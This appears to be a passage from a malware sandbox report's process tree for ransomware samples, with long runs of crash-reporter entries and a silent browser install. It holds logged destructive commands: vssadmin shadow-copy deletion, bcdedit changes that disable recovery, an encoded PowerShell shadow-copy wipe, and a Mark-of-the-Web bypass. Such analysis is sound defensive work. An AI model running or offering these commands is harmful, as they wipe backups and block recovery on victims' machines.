    Trojan-Ransom.Win32.Shade.pbq-0813dd814b07bb9acf1114bd8a5f4b4b624c667464bac48d91ebd9f9c8e640c7.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2084
- - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Shade.pyr-03246cda354d8efbc9e22057cc283609825f15cf33ddc5296deac54c2b540218.exe
    Trojan-Ransom.Win32.Shade.pyr-03246cda354d8efbc9e22057cc283609825f15cf33ddc5296deac54c2b540218.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1020
- - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Shade.qjq-7ce52df2e1186532c119b3ad42fad1012bb78e6393bff209086dec386bbd49af.exe
    Trojan-Ransom.Win32.Shade.qjq-7ce52df2e1186532c119b3ad42fad1012bb78e6393bff209086dec386bbd49af.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3436
  - - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Shade.qjq-7ce52df2e1186532c119b3ad42fad1012bb78e6393bff209086dec386bbd49af.exe
      C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Shade.qjq-7ce52df2e1186532c119b3ad42fad1012bb78e6393bff209086dec386bbd49af.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:6932
- - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
    Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2256
  - - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe
      C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Snocry.cvy-c5e5fd674ac39c58533687c8d8ed51c465459b5b8e0f52e8a1b0f692c500e3b0.exe /AutoIt3ExecuteScript "C:\Users\Admin\AppData\Local\Temp\delph1.dat"
      4⤵
      Executes dropped EXE
      Enumerates connected drives
      System Location Discovery: System Language Discovery
      PID:1684
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /C echo. > "C:\Users\Admin\AppData\Roaming\Isass.exe":Zone.Identifier
        5⤵
        Subvert Trust Controls: Mark-of-the-Web Bypass
        System Location Discovery: System Language Discovery
        NTFS ADS
        
        PID:12380
    - - C:\Users\Admin\AppData\Roaming\Isass.exe
        
        C:\Users\Admin\AppData\Roaming\Isass.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:12812
      - C:\Users\Admin\AppData\Roaming\Isass.exe
        
        C:\Users\Admin\AppData\Roaming\Isass.exe /AutoIt3ExecuteScript "C:\Users\Admin\AppData\Local\Temp\delph1.dat"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:11684
- - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Sodin.aay-d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe
    Trojan-Ransom.Win32.Sodin.aay-d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    PID:1256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:9108
- - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe
    Trojan-Ransom.Win32.Sodin.aw-6eb992c4c8453e929ebc737780067f78e50a18934358e44db6d95fca3106e8e2.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    PID:1568
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:6208
- - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
    Trojan-Ransom.Win32.Sodin.bb-f4e5d7a95681d920dda75fe5dd89be249905e2a7712f9b3b39e19351f5ef5e69.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops desktop.ini file(s)
    - Enumerates connected drives
    - Sets desktop wallpaper using registry
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    PID:1488
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      System Location Discovery: System Language Discovery
      PID:8380
- - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
    Trojan-Ransom.Win32.Sodin.g-1937098609fbbda1b470811a7ffe5fa044058655722d84bd029050d54f2b1496.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Enumerates connected drives
    - Sets desktop wallpaper using registry
    - System Location Discovery: System Language Discovery
    PID:2960
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      System Location Discovery: System Language Discovery
      PID:5408
- - C:\Users\Admin\Desktop\00374\UDS-Trojan-Ransom.Win32.GandCrypt.a-d804e2eb27a5de0f73cbd490ac49a7998cde6c0fca34c011a2cc8a4bbe242f1e.exe
    UDS-Trojan-Ransom.Win32.GandCrypt.a-d804e2eb27a5de0f73cbd490ac49a7998cde6c0fca34c011a2cc8a4bbe242f1e.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2644 -ip 2644
1⤵
PID:4416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2644 -ip 2644
1⤵
PID:3748

C:\Windows\SysWOW64\adjustidebug.exe
"C:\Windows\SysWOW64\adjustidebug.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:412
- C:\Windows\SysWOW64\adjustidebug.exe
  --ea6442cb
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:3520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2644 -ip 2644
1⤵
PID:1784

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:8816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 2644 -ip 2644
1⤵
PID:8672

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:5512

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\qh600s-readme.txt
1⤵
PID:6852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2644 -ip 2644
1⤵
PID:1528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2644 -ip 2644
1⤵
PID:11140

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\0200u43-readme.txt
1⤵
PID:11664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2644 -ip 2644
1⤵
PID:1932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2644 -ip 2644
1⤵
PID:13052

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:12588
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A40F403D04E627B701E73979DA39B5AE
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:9416
- - C:\Users\Admin\AppData\Local\Temp\5A3B5BE3-3478-4FB3-9D95-2052A6D1FA55\lite_installer.exe
    "C:\Users\Admin\AppData\Local\Temp\5A3B5BE3-3478-4FB3-9D95-2052A6D1FA55\lite_installer.exe" --use-user-default-locale --silent --remote-url=http://downloader.yandex.net/downloadable_soft/browser/pseudoportal-ru/Yandex.exe --cumtom-welcome-page=https://browser.yandex.ru/promo/welcome_com/5/ --YABROWSER
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4404
- - C:\Users\Admin\AppData\Local\Temp\A937830E-E7E6-4479-BC39-5229D926D9C7\seederexe.exe
    "C:\Users\Admin\AppData\Local\Temp\A937830E-E7E6-4479-BC39-5229D926D9C7\seederexe.exe" "--yqs=y" "--yhp=y" "--ilight=" "--oem=" "--nopin=n" "--pin_custom=n" "--pin_desktop=n" "--pin_taskbar=y" "--locale=us" "--browser=y" "--browser_default=" "--loglevel=trace" "--ess=" "--clids=C:\Users\Admin\AppData\Local\Temp\clids-yasearch.xml" "--sender=C:\Users\Admin\AppData\Local\Temp\0FEE3E2A-305E-4A89-8DB0-E186E20B3FE8\sender.exe" "--is_elevated=yes" "--ui_level=2" "--good_token=x" "--no_opera=n"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Modifies Internet Explorer start page
    - Modifies registry class
    PID:12412
  - - C:\Users\Admin\AppData\Local\Temp\0FEE3E2A-305E-4A89-8DB0-E186E20B3FE8\sender.exe
      C:\Users\Admin\AppData\Local\Temp\0FEE3E2A-305E-4A89-8DB0-E186E20B3FE8\sender.exe --send "/status.xml?clid=2278730-666&uuid=44bcdb30-2396-4f24-ba3a-a0a6d6243612&vnt=Windows 10x64&file-no=8%0A10%0A11%0A12%0A13%0A17%0A18%0A20%0A21%0A22%0A25%0A36%0A40%0A42%0A43%0A57%0A61%0A89%0A102%0A103%0A123%0A124%0A125%0A129%0A"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:11604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2644 -ip 2644
1⤵
PID:7032

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\m5r5p-wannadie.txt
1⤵
PID:5320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2644 -ip 2644
1⤵
PID:9304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2644 -ip 2644
1⤵
PID:8080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2644 -ip 2644
1⤵
PID:8592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2644 -ip 2644
1⤵
PID:12008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4552 -ip 4552
1⤵
PID:7876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2644 -ip 2644
1⤵
PID:10984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2644 -ip 2644
1⤵
PID:10484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2644 -ip 2644
1⤵
PID:7360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2644 -ip 2644
1⤵
PID:5864

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\366a29ef062745e7a8cd42c533d191f8 /t 6384 /p 8588
1⤵
PID:10508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2644 -ip 2644
1⤵
PID:5472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 2644 -ip 2644
1⤵
PID:8752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 2644 -ip 2644
1⤵
PID:10676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2644 -ip 2644
1⤵
PID:7160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2644 -ip 2644
1⤵
PID:8944

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\7dfb9f6fbb5346edb17c70c6cab68f6a /t 10188 /p 6936
1⤵
PID:11376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 2644 -ip 2644
1⤵
PID:11556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 752 -p 2644 -ip 2644
1⤵
PID:12952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 2644 -ip 2644
1⤵
PID:12756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 752 -p 2644 -ip 2644
1⤵
PID:11564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 2644 -ip 2644
1⤵
PID:10704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 820 -p 2644 -ip 2644
1⤵
PID:11852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 2644 -ip 2644
1⤵
PID:11176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 744 -p 2644 -ip 2644
1⤵
PID:11924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 744 -p 2644 -ip 2644
1⤵
PID:11784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 2644 -ip 2644
1⤵
PID:11088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 740 -p 2644 -ip 2644
1⤵
PID:1912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 808 -p 2644 -ip 2644
1⤵
PID:7492

C:\Users\Admin\AppData\Local\Temp\{35666959-9227-4535-8980-D9AB7FCFC9D2}.exe
"C:\Users\Admin\AppData\Local\Temp\{35666959-9227-4535-8980-D9AB7FCFC9D2}.exe" --job-name=yBrowserDownloader-{9F0E203D-5916-473B-897B-A5ACB66B9AED} --send-statistics --local-path=C:\Users\Admin\AppData\Local\Temp\{35666959-9227-4535-8980-D9AB7FCFC9D2}.exe --YABROWSER --cumtom-welcome-page=https://browser.yandex.ru/promo/welcome_com/5/ --silent --remote-url=http://downloader.yandex.net/downloadable_soft/browser/pseudoportal-ru/Yandex.exe?clid=none&ui={44bcdb30-2396-4f24-ba3a-a0a6d6243612} --use-user-default-locale
1⤵
PID:11816
- C:\Users\Admin\AppData\Local\Temp\ybB8B7.tmp
  "C:\Users\Admin\AppData\Local\Temp\ybB8B7.tmp" --abt-config-resource-file="C:\Users\Admin\AppData\Local\Temp\abt_config_resource" --abt-update-path="C:\Users\Admin\AppData\Local\Temp\8aa00bc6-4f09-4f2e-9a57-de0270341235.tmp" --brand-name=yandex --brand-package="C:\Users\Admin\AppData\Local\Temp\BrandFile" --clids-file="C:\Users\Admin\AppData\Local\Temp\clids.xml" --cumtom-welcome-page=https://browser.yandex.ru/promo/welcome_com/5/ --install-start-time-no-uac=615782002 --installer-brand-id=yandex --installer-partner-id=pseudoportal-ru --installerdata="C:\Users\Admin\AppData\Local\Temp\master_preferences" --job-name=yBrowserDownloader-{9F0E203D-5916-473B-897B-A5ACB66B9AED} --local-path="C:\Users\Admin\AppData\Local\Temp\{35666959-9227-4535-8980-D9AB7FCFC9D2}.exe" --partner-package="C:\Users\Admin\AppData\Local\Temp\PartnerFile" --progress-window=0 --remote-url=http://downloader.yandex.net/downloadable_soft/browser/pseudoportal-ru/Yandex.exe?clid=none&ui={44bcdb30-2396-4f24-ba3a-a0a6d6243612} --send-statistics --silent --source=lite --use-user-default-locale --variations-update-path="C:\Users\Admin\AppData\Local\Temp\41e47965-48b8-47fe-920d-ae197fc6ff4b.tmp" --verbose-logging --yabrowser --yandex-website-icon-file="C:\Users\Admin\AppData\Local\Temp\website.ico"
  2⤵
  PID:1932
- - C:\Users\Admin\AppData\Local\Temp\YB_90D45.tmp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\YB_90D45.tmp\setup.exe" --install-archive="C:\Users\Admin\AppData\Local\Temp\YB_90D45.tmp\BROWSER.PACKED.7Z" --abt-config-resource-file="C:\Users\Admin\AppData\Local\Temp\abt_config_resource" --abt-update-path="C:\Users\Admin\AppData\Local\Temp\8aa00bc6-4f09-4f2e-9a57-de0270341235.tmp" --brand-name=yandex --brand-package="C:\Users\Admin\AppData\Local\Temp\BrandFile" --clids-file="C:\Users\Admin\AppData\Local\Temp\clids.xml" --cumtom-welcome-page=https://browser.yandex.ru/promo/welcome_com/5/ --install-start-time-no-uac=615782002 --installer-brand-id=yandex --installer-partner-id=pseudoportal-ru --installerdata="C:\Users\Admin\AppData\Local\Temp\master_preferences" --job-name=yBrowserDownloader-{9F0E203D-5916-473B-897B-A5ACB66B9AED} --local-path="C:\Users\Admin\AppData\Local\Temp\{35666959-9227-4535-8980-D9AB7FCFC9D2}.exe" --partner-package="C:\Users\Admin\AppData\Local\Temp\PartnerFile" --progress-window=0 --remote-url=http://downloader.yandex.net/downloadable_soft/browser/pseudoportal-ru/Yandex.exe?clid=none&ui={44bcdb30-2396-4f24-ba3a-a0a6d6243612} --send-statistics --silent --source=lite --use-user-default-locale --variations-update-path="C:\Users\Admin\AppData\Local\Temp\41e47965-48b8-47fe-920d-ae197fc6ff4b.tmp" --verbose-logging --yabrowser --yandex-website-icon-file="C:\Users\Admin\AppData\Local\Temp\website.ico"
    3⤵
    PID:10008
  - - C:\Users\Admin\AppData\Local\Temp\YB_90D45.tmp\setup.exe
      "C:\Users\Admin\AppData\Local\Temp\YB_90D45.tmp\setup.exe" --install-archive="C:\Users\Admin\AppData\Local\Temp\YB_90D45.tmp\BROWSER.PACKED.7Z" --abt-config-resource-file="C:\Users\Admin\AppData\Local\Temp\abt_config_resource" --abt-update-path="C:\Users\Admin\AppData\Local\Temp\8aa00bc6-4f09-4f2e-9a57-de0270341235.tmp" --brand-name=yandex --brand-package="C:\Users\Admin\AppData\Local\Temp\BrandFile" --clids-file="C:\Users\Admin\AppData\Local\Temp\clids.xml" --cumtom-welcome-page=https://browser.yandex.ru/promo/welcome_com/5/ --install-start-time-no-uac=615782002 --installer-brand-id=yandex --installer-partner-id=pseudoportal-ru --installerdata="C:\Users\Admin\AppData\Local\Temp\master_preferences" --job-name=yBrowserDownloader-{9F0E203D-5916-473B-897B-A5ACB66B9AED} --local-path="C:\Users\Admin\AppData\Local\Temp\{35666959-9227-4535-8980-D9AB7FCFC9D2}.exe" --partner-package="C:\Users\Admin\AppData\Local\Temp\PartnerFile" --progress-window=0 --remote-url=http://downloader.yandex.net/downloadable_soft/browser/pseudoportal-ru/Yandex.exe?clid=none&ui={44bcdb30-2396-4f24-ba3a-a0a6d6243612} --send-statistics --silent --source=lite --use-user-default-locale --variations-update-path="C:\Users\Admin\AppData\Local\Temp\41e47965-48b8-47fe-920d-ae197fc6ff4b.tmp" --verbose-logging --yabrowser --yandex-website-icon-file="C:\Users\Admin\AppData\Local\Temp\website.ico" --verbose-logging --run-as-admin --target-path="C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application" --child-setup-process --restart-as-admin-time=648354008
      4⤵
      System Time Discovery
      PID:10120
    - - C:\Users\Admin\AppData\Local\Temp\YB_90D45.tmp\setup.exe
        
        C:\Users\Admin\AppData\Local\Temp\YB_90D45.tmp\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\User Data\Crashpad" --url=https://crash-reports.browser.yandex.net/submit --annotation=machine_id=488dca4c15f9a1d330ad312b391a804e --annotation=main_process_pid=10120 --annotation=plat=Win32 --annotation=prod=Yandex --annotation=session_logout=False --annotation=ver=24.10.2.705 --initial-client-data=0x340,0x344,0x348,0x31c,0x34c,0x122cbe8,0x122cbf4,0x122cc00
        5⤵
        
        PID:11612
    - - C:\Windows\TEMP\sdwra_10120_1000671439\service_update.exe
        
        "C:\Windows\TEMP\sdwra_10120_1000671439\service_update.exe" --setup
        5⤵
        
        PID:6044
      - C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe
        
        "C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe" --install
        6⤵
        
        PID:11572
    - - C:\Users\Admin\AppData\Local\Yandex\YaPin\Yandex.exe
        
        C:\Users\Admin\AppData\Local\Yandex\YaPin\Yandex.exe --silent
        5⤵
        
        PID:5664
      - C:\Users\Admin\AppData\Local\Temp\pin\explorer.exe
        
        C:\Users\Admin\AppData\Local\Yandex\YaPin\Yandex.exe --silent /pin-path="C:\Users\Admin\AppData\Local\Yandex\YaPin\Yandex.lnk" --is-pinning
        6⤵
        
        PID:4464
    - - C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\clidmgr.exe
        
        "C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\clidmgr.exe" --appid=yabrowser --vendor-xml-path="C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Temp\source10120_1214308750\Browser-bin\clids_yandex.xml"
        5⤵
        
        PID:3464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 2644 -ip 2644
1⤵
PID:6752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 2644 -ip 2644
1⤵
PID:4296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 2644 -ip 2644
1⤵
PID:9444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 2644 -ip 2644
1⤵
PID:7000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 2644 -ip 2644
1⤵
PID:7020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 2644 -ip 2644
1⤵
PID:6348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2644 -ip 2644
1⤵
PID:10384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2644 -ip 2644
1⤵
PID:6344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 2644 -ip 2644
1⤵
PID:4960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2644 -ip 2644
1⤵
PID:9836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 2644 -ip 2644
1⤵
PID:7608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2644 -ip 2644
1⤵
PID:2912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 2644 -ip 2644
1⤵
PID:8668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 2644 -ip 2644
1⤵
PID:13232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 2644 -ip 2644
1⤵
PID:11248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 2644 -ip 2644
1⤵
PID:6672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2644 -ip 2644
1⤵
PID:5880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2644 -ip 2644
1⤵
PID:5316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2644 -ip 2644
1⤵
PID:928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 2644 -ip 2644
1⤵
PID:11200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 2644 -ip 2644
1⤵
PID:5220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2644 -ip 2644
1⤵
PID:10536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 2644 -ip 2644
1⤵
PID:9140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2644 -ip 2644
1⤵
PID:10416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 2644 -ip 2644
1⤵
PID:8588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2644 -ip 2644
1⤵
PID:9276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 748 -p 2644 -ip 2644
1⤵
PID:12564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 788 -p 2644 -ip 2644
1⤵
PID:12832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 788 -p 2644 -ip 2644
1⤵
PID:12184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2644 -ip 2644
1⤵
PID:8088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 2644 -ip 2644
1⤵
PID:8616

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 2644 -ip 2644
1⤵
PID:7864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2644 -ip 2644
1⤵
PID:5328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2644 -ip 2644
1⤵
PID:11384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2644 -ip 2644
1⤵
PID:1328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2644 -ip 2644
1⤵
PID:8188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 2644 -ip 2644
1⤵
PID:9772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2644 -ip 2644
1⤵
PID:10620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2644 -ip 2644
1⤵
PID:8412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2644 -ip 2644
1⤵
PID:180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 2644 -ip 2644
1⤵
PID:6784

